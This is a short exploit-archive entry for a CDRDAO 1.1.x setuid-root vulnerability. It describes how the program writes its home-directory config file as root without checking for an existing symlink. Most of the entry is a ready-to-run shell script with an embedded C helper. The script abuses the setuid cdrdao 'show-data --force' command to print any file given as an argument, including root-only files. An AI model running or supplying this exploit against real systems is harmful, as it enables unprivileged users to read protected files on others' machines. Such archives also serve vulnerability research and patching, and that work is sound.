CDRDAO 1.1.x Home Directory Configuration File Symbolic Link Vulnerability (1)

                                                source: http://www.securityfocus.com/bid/3865/info

CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.

When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.

#!/bin/sh

if [ "$1" ]; then
	cat > /tmp/t.c <<EOF
#include <stdio.h>
int     main()
{
	int     i;
	while (fscanf(stdin, "%i", &i) > 0)
	{
		printf("%c%c", (i & 0xff00) >> 8, i & 0xff);
	}
	return 0;
}
EOF
	cat > /tmp/t.toc <<EOF
CD_ROM
TRACK MODE1_RAW
FILE "$1" 0
EOF
	gcc /tmp/t.c -o /tmp/show
	echo `cdrdao show-data -v 0 --force /tmp/t.toc 2>&1 | grep -v WARNING | sed 's/.*://g' ` | /tmp/show
	rm -f /tmp/t.c /tmp/show /tmp/t.toc
else
	echo "Syntax: $0 filename"
fi